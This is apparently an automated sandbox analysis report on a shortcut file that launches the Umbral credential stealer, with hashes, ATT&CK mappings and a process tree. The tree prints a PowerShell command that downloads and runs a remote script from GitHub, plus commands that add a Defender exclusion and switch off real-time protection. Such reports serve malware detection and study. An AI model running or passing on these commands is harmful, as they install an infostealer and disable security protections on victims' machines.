umbral | c30599a71b6129c75b93e7b508cc307928df2677fe1b00357547481662522033

Resubmissions

23/03/2025, 14:55

250323-san3jsyjv6 10

23/03/2025, 14:54

250323-r9t76sxr17 10

23/03/2025, 14:51

250323-r74zlaxrv8 10

Analysis

max time kernel
39s
max time network
41s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
23/03/2025, 14:54

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General

Target

1231321312.lnk
Size

2KB
MD5

a83ed03220cbc79bcbcaae9a57d0b95a
SHA1

062d88505a421b491c8614ccff1d8fdd34453e18
SHA256

c30599a71b6129c75b93e7b508cc307928df2677fe1b00357547481662522033
SHA512

97f7b63aa0435cbe3fb597f3a18941d0697c053ff75ccfdfae55f2e0f70afde85e6ef82e0c90077dcbc933247b8ac568f1fd28a7b3cc1f0eb1af9640f409a349

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x00080000000240ac-21.dat	family_umbral
behavioral1/memory/5068-30-0x000001A6D1690000-0x000001A6D16D0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	2612	powershell.exe
13	2612	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2612	powershell.exe
4800	powershell.exe
4524	powershell.exe
3756	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
5068	Umbral.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
7	raw.githubusercontent.com
41	discord.com
42	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
38	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3452	wmic.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2612	powershell.exe
2612	powershell.exe
4800	powershell.exe
4800	powershell.exe
4524	powershell.exe
4524	powershell.exe
3756	powershell.exe
3756	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2612	powershell.exe
Token: SeDebugPrivilege	5068	Umbral.exe
Token: SeDebugPrivilege	4800	powershell.exe
Token: SeDebugPrivilege	4524	powershell.exe
Token: SeIncreaseQuotaPrivilege	1884	wmic.exe
Token: SeSecurityPrivilege	1884	wmic.exe
Token: SeTakeOwnershipPrivilege	1884	wmic.exe
Token: SeLoadDriverPrivilege	1884	wmic.exe
Token: SeSystemProfilePrivilege	1884	wmic.exe
Token: SeSystemtimePrivilege	1884	wmic.exe
Token: SeProfSingleProcessPrivilege	1884	wmic.exe
Token: SeIncBasePriorityPrivilege	1884	wmic.exe
Token: SeCreatePagefilePrivilege	1884	wmic.exe
Token: SeBackupPrivilege	1884	wmic.exe
Token: SeRestorePrivilege	1884	wmic.exe
Token: SeShutdownPrivilege	1884	wmic.exe
Token: SeDebugPrivilege	1884	wmic.exe
Token: SeSystemEnvironmentPrivilege	1884	wmic.exe
Token: SeRemoteShutdownPrivilege	1884	wmic.exe
Token: SeUndockPrivilege	1884	wmic.exe
Token: SeManageVolumePrivilege	1884	wmic.exe
Token: 33	1884	wmic.exe
Token: 34	1884	wmic.exe
Token: 35	1884	wmic.exe
Token: 36	1884	wmic.exe
Token: SeIncreaseQuotaPrivilege	1884	wmic.exe
Token: SeSecurityPrivilege	1884	wmic.exe
Token: SeTakeOwnershipPrivilege	1884	wmic.exe
Token: SeLoadDriverPrivilege	1884	wmic.exe
Token: SeSystemProfilePrivilege	1884	wmic.exe
Token: SeSystemtimePrivilege	1884	wmic.exe
Token: SeProfSingleProcessPrivilege	1884	wmic.exe
Token: SeIncBasePriorityPrivilege	1884	wmic.exe
Token: SeCreatePagefilePrivilege	1884	wmic.exe
Token: SeBackupPrivilege	1884	wmic.exe
Token: SeRestorePrivilege	1884	wmic.exe
Token: SeShutdownPrivilege	1884	wmic.exe
Token: SeDebugPrivilege	1884	wmic.exe
Token: SeSystemEnvironmentPrivilege	1884	wmic.exe
Token: SeRemoteShutdownPrivilege	1884	wmic.exe
Token: SeUndockPrivilege	1884	wmic.exe
Token: SeManageVolumePrivilege	1884	wmic.exe
Token: 33	1884	wmic.exe
Token: 34	1884	wmic.exe
Token: 35	1884	wmic.exe
Token: 36	1884	wmic.exe
Token: SeIncreaseQuotaPrivilege	4536	wmic.exe
Token: SeSecurityPrivilege	4536	wmic.exe
Token: SeTakeOwnershipPrivilege	4536	wmic.exe
Token: SeLoadDriverPrivilege	4536	wmic.exe
Token: SeSystemProfilePrivilege	4536	wmic.exe
Token: SeSystemtimePrivilege	4536	wmic.exe
Token: SeProfSingleProcessPrivilege	4536	wmic.exe
Token: SeIncBasePriorityPrivilege	4536	wmic.exe
Token: SeCreatePagefilePrivilege	4536	wmic.exe
Token: SeBackupPrivilege	4536	wmic.exe
Token: SeRestorePrivilege	4536	wmic.exe
Token: SeShutdownPrivilege	4536	wmic.exe
Token: SeDebugPrivilege	4536	wmic.exe
Token: SeSystemEnvironmentPrivilege	4536	wmic.exe
Token: SeRemoteShutdownPrivilege	4536	wmic.exe
Token: SeUndockPrivilege	4536	wmic.exe
Token: SeManageVolumePrivilege	4536	wmic.exe
Token: 33	4536	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3784 wrote to memory of 2612	3784	cmd.exe	90
PID 3784 wrote to memory of 2612	3784	cmd.exe	90
PID 2612 wrote to memory of 5068	2612	powershell.exe	99
PID 2612 wrote to memory of 5068	2612	powershell.exe	99
PID 5068 wrote to memory of 4800	5068	Umbral.exe	100
PID 5068 wrote to memory of 4800	5068	Umbral.exe	100
PID 5068 wrote to memory of 4524	5068	Umbral.exe	102
PID 5068 wrote to memory of 4524	5068	Umbral.exe	102
PID 5068 wrote to memory of 1884	5068	Umbral.exe	105
PID 5068 wrote to memory of 1884	5068	Umbral.exe	105
PID 5068 wrote to memory of 4536	5068	Umbral.exe	107
PID 5068 wrote to memory of 4536	5068	Umbral.exe	107
PID 5068 wrote to memory of 4932	5068	Umbral.exe	109
PID 5068 wrote to memory of 4932	5068	Umbral.exe	109
PID 5068 wrote to memory of 3756	5068	Umbral.exe	111
PID 5068 wrote to memory of 3756	5068	Umbral.exe	111
PID 5068 wrote to memory of 3452	5068	Umbral.exe	113
PID 5068 wrote to memory of 3452	5068	Umbral.exe	113

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\1231321312.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Invoke-Expression (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/sigmanip/reallogs123fr/refs/heads/main/download_and_run.ps1' -UseBasicParsing).Content"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
    "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4800
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4524
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1884
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4536
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:4932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3756
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:3452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6de151c2a03149e5969163e29f43e022

SHA1
96b3cd620fb2b3b62686b14d2e8ddb0c865759ef

SHA256
b570c29f7691fc5e4bca51caf9ed72175c6d5df058c5800091a34de6c512b2e4

SHA512
0dbd4f4595570c3edc4c88c21f4b0cfe54cd49f1ce1d8379e1452573ced149326a5654ec333efbc530b8414f9feef048d6fec2642f2417fa6679f0303a043906

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
f994815edea79688903f374b373848cc

SHA1
122c649520fa4e5f9ee602ead7748cab2448deb1

SHA256
63c62fe05e690671d433399df8565a0a99d6a9d9708fc8033b8d196b672ccda4

SHA512
b8e9e749a88a3b8f728fddcaf6353345e8e53b2a1fc8b06f182745907c53c106bf3a530846031619d9a6c2b94a7d0468d05389e84087f447e3f377154a9e12d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
2af06a6b36db9473e4a7d9c7ab72b70b

SHA1
8ef34b9b961e51bdd1b8d7d9db2ec1b0a4764645

SHA256
18a2aa7e245c6732f95fb7749b2b4d29007f2c56a9c5bfbc5e3c127bdfe5f158

SHA512
3495567a5d5af94ae27be51313d9e2630c52017d808042fe0d56baa34fa1d246eb15c253d14c77c77a1d8f2f1c81680e623044ae95415b095696e7fa141ac7cf

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
227KB

MD5
68b35208a6ccc5cf6cfa41f86712e7ab

SHA1
34c735c3cc8fd7f9d225cd7323e5632aa772f465

SHA256
4a7c61f2655323ab50ae5d82063c96f5f8bad0ea39c0e6895b6354668b425279

SHA512
f05d7f10ee0a9ebef78696c86ec8f973242aafba3004cd6ee753b8ca44916b898befcca907b27ec711db60bb5141dc57cf36a00545cf4253136e1ecb63194f3f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eplakfyc.53i.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2612-14-0x00007FFBB4E80000-0x00007FFBB5941000-memory.dmp

Filesize
10.8MB

Download
memory/2612-16-0x00007FFBB4E80000-0x00007FFBB5941000-memory.dmp

Filesize
10.8MB

Download
memory/2612-31-0x00007FFBB4E80000-0x00007FFBB5941000-memory.dmp

Filesize
10.8MB

Download
memory/2612-15-0x00007FFBB4E80000-0x00007FFBB5941000-memory.dmp

Filesize
10.8MB

Download
memory/2612-2-0x00007FFBB4E83000-0x00007FFBB4E85000-memory.dmp

Filesize
8KB

Download
memory/2612-13-0x00007FFBB4E80000-0x00007FFBB5941000-memory.dmp

Filesize
10.8MB

Download
memory/2612-12-0x000002CC40480000-0x000002CC404A2000-memory.dmp

Filesize
136KB

Download
memory/5068-30-0x000001A6D1690000-0x000001A6D16D0000-memory.dmp

Filesize
256KB

Download
memory/5068-55-0x000001A6EBDC0000-0x000001A6EBE10000-memory.dmp

Filesize
320KB

Download
memory/5068-56-0x000001A6EBE90000-0x000001A6EBF06000-memory.dmp

Filesize
472KB

Download
memory/5068-57-0x000001A6EBD20000-0x000001A6EBD3E000-memory.dmp

Filesize
120KB

Download
memory/5068-64-0x000001A6EBD50000-0x000001A6EBD5A000-memory.dmp

Filesize
40KB

Download
memory/5068-65-0x000001A6EBD90000-0x000001A6EBDA2000-memory.dmp

Filesize
72KB

Download